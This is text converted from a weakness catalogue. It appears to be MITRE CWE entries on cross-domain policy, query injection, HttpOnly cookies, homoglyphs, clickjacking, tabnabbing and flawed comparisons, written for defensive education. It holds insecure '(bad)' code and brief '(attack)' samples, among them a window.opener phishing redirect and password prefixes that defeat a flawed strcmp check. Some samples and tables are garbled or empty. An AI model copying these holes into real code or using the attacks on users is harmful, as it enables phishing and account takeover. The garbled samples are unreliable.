The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|--------------------------------------|------|
| ChildOf |  | 183 | Permissive List of Allowed Inputs | 430 |
| ChildOf |  | 284 | Improper Access Control | 631 |
| CanPrecede |  | 668 | Exposure of Resource to Wrong Sphere | 1342 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|------------------|------|
| MemberOf |  | 1011 | Authorize Actors | 2142 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|--|---------------------------------------|------------|
| Confidentiality | Execute Unauthorized Code or Commands | |
| Integrity | Bypass Protection Mechanism | |
| Availability | Read Application Data | |
| Access Control | Varies by Context | |
| <p><i>An attacker may be able to bypass the web browser's same-origin policy. An attacker can exploit the weakness to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running ActiveX controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.</i></p> | | |

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Avoid using wildcards in the cross-domain policy file. Any domain matching the wildcard expression will be implicitly trusted, and can perform two-way interaction with the target server.

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Phase: Architecture and Design

Phase: Operation

Strategy = Attack Surface Reduction

For Flash, modify crossdomain.xml to use meta-policy options such as 'master-only' or 'none' to reduce the possibility of an attacker planting extraneous cross-domain policy files on a server.

Demonstrative Examples

Example 1:

These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:

Flash crossdomain.xml :

Example Language: XML

(bad)

```
<cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd">
<allow-access-from domain="*.example.com"/>
<allow-access-from domain="*" />
</cross-domain-policy>
```

Silverlight clientaccesspolicy.xml :

Example Language: XML

(bad)

```
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from http-request-headers="SOAPAction">
<domain uri="*" />
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
```

These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2012-2292 | Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2292 |
| CVE-2014-2049 | The default Flash Cross Domain policies in a product allows remote attackers to access user files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2049 |
| CVE-2007-6243 | Chain: Adobe Flash Player does not sufficiently restrict the interpretation and usage of cross-domain policy files, which makes it easier for remote attackers to conduct cross-domain and cross-site scripting (XSS) attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6243 |
| CVE-2008-4822 | Chain: Adobe Flash Player and earlier does not properly interpret policy files, which allows remote attackers to bypass a non-root domain policy. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4822 |
| CVE-2010-3636 | Chain: Adobe Flash Player does not properly handle unspecified encodings during the parsing of a cross-domain policy file, which allows remote web servers to bypass intended access restrictions via unknown vectors. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3636 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-943: Improper Neutralization of Special Elements in Data Query Logic

Weakness ID : 943

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The application generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.

Extended Description

Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:

- Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated
- Append additional commands to the query
- Return more entities than intended
- Return fewer entities than intended
- Cause entities to be sorted in an unexpected way

The ability to execute additional commands or change which entities are returned has obvious risks. But when the application logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the application query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges.

While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and "NoSQL" languages.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ChildOf |  | 74 | Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') | 130 |
| ParentOf |  | 89 | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 189 |
| ParentOf |  | 90 | Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') | 200 |
| ParentOf |  | 643 | Improper Neutralization of Data within XPath Expressions ('XPath Injection') | 1298 |
| ParentOf |  | 652 | Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') | 1313 |

Relevant to the view "Architectural Concepts" (CWE-1008)

| Nature | Type | ID | Name | Page |
|----------|---|------|-----------------|------|
| MemberOf |  | 1019 | Validate Inputs | 2149 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|-----------------------------|------------|
| Confidentiality | Bypass Protection Mechanism | |
| Integrity | Read Application Data | |
| Availability | Modify Application Data | |
| Access Control | Varies by Context | |

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2014-2503 | Injection using Documentum Query Language (DQL) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2503 |
| CVE-2014-2508 | Injection using Documentum Query Language (DQL) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2508 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|------|--|---|------|
| MemberOf |  | 1027 | OWASP Top Ten 2017 Category A1 - Injection | 1026 | 2151 |

Notes**Relationship**

It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier.

CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag

Weakness ID : 1004

Status: Incomplete

Structure : Simple

Abstraction : Variant**Description**

The software uses a cookie to store sensitive information, but the cookie is not marked with the HttpOnly flag.

Extended Description

The HttpOnly flag directs compatible browsers to prevent client-side script from accessing cookies. Including the HttpOnly flag in the Set-Cookie HTTP response header helps mitigate the risk associated with Cross-Site Scripting (XSS) where an attacker's script code might attempt to read the contents of a cookie and exfiltrate information obtained. When set, browsers that support the flag will not reveal the contents of the cookie to a third party via client-side script executed via XSS.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 732 | Incorrect Permission Assignment for Critical Resource | 1407 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Undetermined*)

Background Details

An HTTP cookie is a small piece of data attributed to a specific website and stored on the user's computer by the user's web browser. This data can be leveraged for a variety of purposes including saving information entered into form fields, recording user activity, and for authentication purposes. Cookies used to save or record information generated by the user are accessed and modified by script code embedded in a web page. While cookies used for authentication are created by the website's server and sent to the user to be attached to future requests. These authentication cookies are often not meant to be accessed by the web page sent to the user, and are instead just supposed to be attached to future requests to verify authentication details.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Application Data <i>If the HttpOnly flag is not set, then sensitive information stored in the cookie may be exposed to unintended parties.</i> | |
| Integrity | Gain Privileges or Assume Identity <i>If the cookie in question is an authentication cookie, then not setting the HttpOnly flag may allow an adversary to steal authentication data (e.g., a session ID) and assume the identity of the user.</i> | |

Potential Mitigations**Phase: Implementation**

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

Effectiveness = High

While this mitigation is effective for protecting cookies from a browser's own scripting engine, third-party components or plugins may have their own engines that allow access to cookies. Attackers might also be able to use XMLHttpRequest to read the headers directly and obtain the cookie.

Demonstrative Examples

Example 1:

In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

The snippet of code below establishes a new cookie to hold the sessionID.

Example Language: Java

(bad)

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
response.addCookie(c);
```

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Example Language: JavaScript

(attack)

```
document.write('')
```

When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

To mitigate the risk, use the setHttpOnly(true) method.

Example Language: Java

(good)

```
String sessionID = generateSessionId();
Cookie c = new Cookie("session_id", sessionID);
c.setHttpOnly(true);
response.addCookie(c);
```

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2014-3852 | CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3852 |
| CVE-2015-4138 | Appliance for managing encrypted communications does not use HttpOnly flag. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4138 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |

CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User

Weakness ID : 1007

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software displays information or identifiers to a user, but the display mechanism does not make it easy for the user to distinguish between visually similar or identical glyphs (homoglyphs), which may cause the user to misinterpret a glyph and perform an unintended, insecure action.

Extended Description

Some glyphs, pictures, or icons can be semantically distinct to a program, while appearing very similar or identical to a human user. These are referred to as homoglyphs. For example, the lowercase "l" (ell) and uppercase "I" (eye) have different character codes, but these characters can be displayed in exactly the same way to a user, depending on the font. This can also occur between different character sets. For example, the Latin capital letter "A" and the Greek capital letter "Α" (Alpha) are treated as distinct by programs, but may be displayed in exactly the same way to a user. Accent marks may also cause letters to appear very similar, such as the Latin capital letter grave mark "À" and its equivalent "Â" with the acute accent.

Adversaries can exploit this visual similarity for attacks such as phishing, e.g. by providing a link to an attacker-controlled hostname that looks like a hostname that the victim trusts. In a different use of homoglyphs, an adversary may create a back door username that is visually similar to the username of a regular user, which then makes it more difficult for a system administrator to detect the malicious username while reviewing logs.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

| Nature | Type | ID | Name | Page |
|----------|---|-----|--------------------------------|------|
| MemberOf |  | 355 | User Interface Security Issues | 2036 |

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Based (*Prevalence = Sometimes*)

Alternate Terms

Homograph Attack : "Homograph" is often used as a synonym of "homoglyph" by researchers, but according to Wikipedia, a homograph is a word that has multiple, distinct meanings.

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|------------------------------|---|------------|
| Integrity Confidentiality | Other <i>An attacker may ultimately redirect a user to a malicious website, by deceiving the user into believing the URL they are accessing is a trusted domain. However, the attack can also be used to forge log entries by using homoglyphs in usernames. Homoglyph manipulations are often the first step towards executing advanced attacks such as stealing a user's credentials, Cross-Site Scripting (XSS), or log forgery. If an attacker redirects a user to a malicious site, the attacker can mimic a trusted domain to steal account credentials and perform actions on behalf of the user, without the user's knowledge. Similarly, an attacker could create a username for a website that contains homoglyph characters, making it difficult for an admin to review logs and determine which users performed which actions.</i> | |

Detection Methods

Manual Dynamic Analysis

If utilizing user accounts, attempt to submit a username that contains homoglyphs. Similarly, check to see if links containing homoglyphs can be sent via email, web browsers, or other mechanisms.

Effectiveness = Moderate

Potential Mitigations

Phase: Implementation

Use a browser that displays Punycode for IDNs in the URL and status bars, or which color code various scripts in URLs. Due to the prominence of homoglyph attacks, several browsers now help safeguard against this attack via the use of Punycode. For example, Mozilla Firefox and Google Chrome will display IDNs as Punycode if top-level domains do not restrict which characters can be used in domain names or if labels mix scripts for different languages.

Phase: Implementation

Use an email client that has strict filters and prevents messages that mix character sets to end up in a user's inbox. Certain email clients such as Google's GMail prevent the use of non-Latin characters in email addresses or in links contained within emails. This helps prevent homoglyph attacks by flagging these emails and redirecting them to a user's spam folder.

Demonstrative Examples

Example 1:

The following looks like a simple, trusted URL that a user may frequently access.

Example Language:

(attack)

<http://www.#x#m###.###m>

However, the URL above is comprised of Cyrillic characters that look identical to the expected ASCII characters. This results in most users not being able to distinguish between the two and assuming that the above URL is trusted and safe. The "e" is actually the "CYRILLIC SMALL LETTER IE" which is represented in HTML as the character `е`, while the "a" is actually the "CYRILLIC SMALL LETTER A" which is represented in HTML as the character `а`. The "p", "c", and "o" are also Cyrillic characters in this example. Viewing the source reveals a URL of "http://www.еxаmрlе.соm". An adversary can utilize this approach to perform an attack such as a phishing attack in order to drive traffic to a malicious website.

Example 2:

The following displays an example of how creating usernames containing homoglyphs can lead to log forgery.

Assume an adversary visits a legitimate, trusted domain and creates the account "admin" where the 'a' and 'i' characters are Cyrillic characters instead of the expected ASCII. Any actions the adversary performs will be saved to the log file and look like they came from a legitimate administrator account.

Example Language:

(result)

```
123.123.123.123 #dm#n [17/Jul/2017:09:05:49 -0400] "GET /example/users/userlist HTTP/1.1" 401 12846
123.123.123.123 #dm#n [17/Jul/2017:09:06:51 -0400] "GET /example/users/userlist HTTP/1.1" 200 4523
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
123.123.123.123 #dm#n [17/Jul/2017:09:10:02 -0400] "GET /example/users/editusers HTTP/1.1" 200 6291
```

However, upon closer inspection, the account that generated these log entries is "аdmіn". This makes it more difficult to determine which actions were performed by the adversary and which actions were executed by the legitimate "admin" account.

Observed Examples

CWE-1021: Improper Restriction of Rendered UI Layers or Frames

Weakness ID : 1021

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The web application does not restrict or incorrectly restricts frame objects or UI layers that belong to another application or domain, which can lead to user confusion about which interface the user is interacting with.

Extended Description

A web application is expected to place restrictions on whether it is allowed to be rendered within frames, iframes, objects, embed or applet elements. Without the restrictions, users can be tricked into interacting with the application when they were not intending to.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|----------|---|-----|--------------------------------|------|
| MemberOf |  | 355 | User Interface Security Issues | 2036 |

Applicable Platforms

Technology : Web Based (*Prevalence = Undetermined*)

Alternate Terms

Clickjacking :

UI Redress Attack :

Tapjacking : "Tapjacking" is similar to clickjacking, except it is used for mobile applications in which the user "taps" the application instead of performing a mouse click.

Common Consequences

| Scope | Impact | Likelihood |
|----------------|--|------------|
| Access Control | Gain Privileges or Assume Identity Bypass Protection Mechanism Read Application Data Modify Application Data <i>An attacker can trick a user into performing actions that are masked and hidden from the user's view. The impact varies widely, depending on the functionality of the underlying application. For example, in a social media application, clickjacking could be used to trick the user into changing privacy settings.</i> | |

Potential Mitigations

Phase: Implementation

The use of X-Frame-Options allows developers of web content to restrict the usage of their application within the form of overlays, frames, or iFrames. The developer can indicate from which domains can frame the content. The concept of X-Frame-Options is well documented, but implementation of this protection mechanism is in development to cover gaps. There is a need for allowing frames from multiple domains.

Phase: Implementation

A developer can use a "frame-breaker" script in each page that should not be framed. This is very helpful for legacy browsers that do not support X-Frame-Options security feature previously mentioned. It is also important to note that this tactic has been circumvented or bypassed. Improper usage of frames can persist in the web application through nested frames. The "frame-breaking" script does not intuitively account for multiple nested frames that can be presented to the user.

Phase: Implementation

This defense-in-depth technique can be used to prevent the improper usage of frames in web applications. It prioritizes the valid sources of data to be loaded into the application through the usage of declarative policies. Based on which implementation of Content Security Policy is in use, the developer should use the "frame-ancestors" directive or the "frame-src" directive to mitigate this weakness. Both directives allow for the placement of restrictions when it comes to allowing embedded content.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2017-7440 | E-mail preview feature in a desktop application allows clickjacking attacks via a crafted e-mail message https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7440 |
| CVE-2017-5697 | Hardware/firmware product has insufficient clickjacking protection in its web user interface https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5697 |

CWE-1022: Use of Web Link to Untrusted Target with window.opener Access

| | |
|------------------------------|----------------------------|
| Weakness ID : 1022 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Variant | |

Description

The web application produces links to untrusted external sites outside of its sphere of control, but it does not properly prevent the external site from modifying security-critical properties of the window.opener object, such as the location property.

Extended Description

When a user clicks a link to an external site ("target"), the target="_blank" attribute causes the target site's contents to be opened in a new window or tab, which runs in the same process as the original page. The window.opener object records information about the original page that offered the link. If an attacker can run script on the target page, then they could read or modify certain properties of the window.opener object, including the location property - even if the original and target site are not the same origin. An attacker can modify the location property to automatically redirect the user to a malicious site, e.g. as part of a phishing attack. Since this redirect happens in the original window/tab - which is not necessarily visible, since the browser is focusing the display on the new target page - the user might not notice any suspicious redirection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 266 | Incorrect Privilege Assignment | 592 |

Applicable Platforms

Language : JavaScript (*Prevalence = Often*)

Technology : Web Based (*Prevalence = Often*)

Alternate Terms

tabnabbing :

Likelihood Of Exploit

Medium

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Alter Execution Logic <i>The user may be redirected to an untrusted page that contains undesired content or malicious script code.</i> | |

Potential Mitigations

Phase: Architecture and Design

Specify in the design that any linked external document must not be granted access to the location object of the calling page.

Phase: Implementation

When creating a link to an external document using the <a> tag with a defined target, for example "_blank" or a named frame, provide the rel attribute with a value "noopener noreferrer". If opening the external document in a new window via javascript, then reset the opener by setting it equal to null.

Phase: Implementation

Do not use "_blank" targets. However, this can affect the usability of the application.

Demonstrative Examples

Example 1:

In this example, the application opens a link in a named window/tab without taking precautions to prevent the called page from tampering with the calling page's location in the browser.

There are two ways that this weakness is commonly seen. The first is when the application generates an <a> tag is with target="_blank" to point to a target site:

Example Language: HTML

(bad)

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank">
```

If the attacker offers a useful page on this link (or compromises a trusted, popular site), then a user may click on this link. However, the attacker could use scripting code to modify the window.opener's location property to redirect the application to a malicious, attacker-controlled page - such as one that mimics the look and feel of the original application and convinces the user to re-enter authentication credentials, i.e. phishing:

Example Language: JavaScript

(attack)

```
window.opener.location = 'http://phishing.example.org/popular-bank-page';
```

To mitigate this type of weakness, some browsers support the "rel" attribute with a value of "noopener", which sets the window.opener object equal to null. Another option is to use the "rel" attribute with a value of "noreferrer", which in essence does the same thing.

Example Language: HTML

(good)

```
<a href="http://attacker-site.example.com/useful-page.html" target="_blank" rel="noopener noreferrer">
```

A second way that this weakness is commonly seen is when opening a new site directly within JavaScript. In this case, a new site is opened using the window.open() function.

Example Language: JavaScript

(bad)

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
```

To mitigate this, set the window.opener object to null.

Example Language: JavaScript

(good)

```
var newWindow = window.open("http://attacker-site.example.com/useful-page.html", "_blank");
newWindow.opener = null;
```

CWE-1023: Incomplete Comparison with Missing Factors

Weakness ID : 1023

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software performs a comparison between entities that must consider multiple factors or characteristics of each entity, but the comparison does not include one or more of these factors.

Extended Description

An incomplete comparison can lead to resultant weaknesses, e.g., by operating on the wrong object or making a security decision without considering a required factor.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|--------------------------------------|------|
| ChildOf |  | 697 | Incorrect Comparison | 1389 |
| ParentOf |  | 184 | Incomplete List of Disallowed Inputs | 432 |

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ParentOf |  | 187 | Partial String Comparison | 439 |
| ParentOf |  | 478 | Missing Default Case in Switch Statement | 1048 |
| ParentOf |  | 839 | Numeric Range Comparison Without Minimum Check | 1602 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Integrity | Alter Execution Logic | |
| Access Control | Bypass Protection Mechanism | |

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

Consider an application in which Truck objects are defined to be the same if they have the same make, the same model, and were manufactured in the same year.

Example Language: Java

(bad)

```
public class Truck {
    private String make;
    private String model;
    private int year;
    public boolean equals(Object o) {
        if (o == null) return false;
        if (o == this) return true;
        if (!(o instanceof Truck)) return false;
        Truck t = (Truck) o;
        return (this.make.equals(t.getMake()) && this.model.equals(t.getModel()));
    }
}
```

Here, the equals() method only checks the make and model of the Truck objects, but the year of manufacture is not included.

Example 2:

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

Example Language: C

(bad)

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    if (strcmp(username, inUser, strlen(inUser))) {
        logEvent("Auth failure of username using strlen of inUser");
        return(AUTH_FAIL);
    }
}
```

```
}
if (! strcmp(pass, inPass, strlen(inPass))) {
    logEvent("Auth success of password using strlen of inUser");
    return(AUTH_SUCCESS);
}
else {
    logEvent("Auth fail of password using sizeof");
    return(AUTH_FAIL);
}
}

int main (int argc, char **argv) {
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult == AUTH_SUCCESS) {
        DoAuthenticatedTask(argv[1]);
    }
    else {
        ExitError("Authentication failed");
    }
}
```

In `AuthenticateUser()`, the `strcmp()` call uses the string length of an attacker-provided `inPass` parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.

As a result, this partial comparison leads to improper authentication (CWE-287).

Any of these passwords would still cause authentication to succeed for the "admin" user:

Example Language:

(attack)

```
p
pa
pas
pass
```

This significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.

While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.

CWE-1024: Comparison of Incompatible Types

Weakness ID : 1024

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software performs a comparison between two entities, but the entities are of different, incompatible types that cannot be guaranteed to provide correct results when they are directly compared.

Extended Description

In languages that are strictly typed but support casting/conversion, such as C or C++, the programmer might assume that casting one entity to the same type as another entity will ensure that the comparison will be performed correctly, but this cannot be guaranteed. In languages that are not strictly typed, such as PHP or JavaScript, there may be implicit casting/conversion to a type that the programmer is unaware of, causing unexpected results; for example, the string "123" might be converted to a number type. See examples.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : JavaScript (*Prevalence = Undetermined*)

Language : PHP (*Prevalence = Undetermined*)

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

CWE-1025: Comparison Using Wrong Factors

Weakness ID : 1025

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code performs a comparison between two entities, but the comparison examines the wrong factors or characteristics of the entities, which can lead to incorrect results and resultant weaknesses.

Extended Description

This can lead to incorrect results and resultant weaknesses. For example, the code might inadvertently compare references to objects, instead of the relevant contents of those objects, causing two "equal" objects to be considered unequal.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--|------|
| ChildOf | P | 697 | Incorrect Comparison | 1389 |
| ParentOf | ⬆ | 486 | Comparison of Classes by Name | 1067 |
| ParentOf | ⬆ | 595 | Comparison of Object References Instead of Object Contents | 1219 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|---------------------|------|
| MemberOf | ⬇ | 438 | Behavioral Problems | 2043 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|-------------------|------------|
| Other | Varies by Context | |

Potential Mitigations

Phase: Testing

Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java

(bad)

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
    System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language:

(good)

```
if (str1.equals(str2)) {
    System.out.println("str1 equals str2");
}
```

}

CWE-1037: Processor Optimization Removal or Modification of Security-critical Code

Weakness ID : 1037

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The developer builds a security-critical protection mechanism into the software, but the processor optimizes the execution of the program such that the mechanism is removed or modified.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|------|---|------|
| ChildOf |  | 1038 | Insecure Automated Optimizations | 1693 |
| PeerOf |  | 1264 | Hardware Logic with Insecure De-Synchronization between Control and Data Channels | 1876 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---------------------|------|
| MemberOf |  | 438 | Behavioral Problems | 2043 |

Weakness Ordinalities

Primary : This weakness does not depend on other weaknesses and is the result of choices made by the processor in executing the specified application.

Applicable Platforms

Language : Language-Independent (*Prevalence = Rarely*)

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|---|-----------------------------|------------|
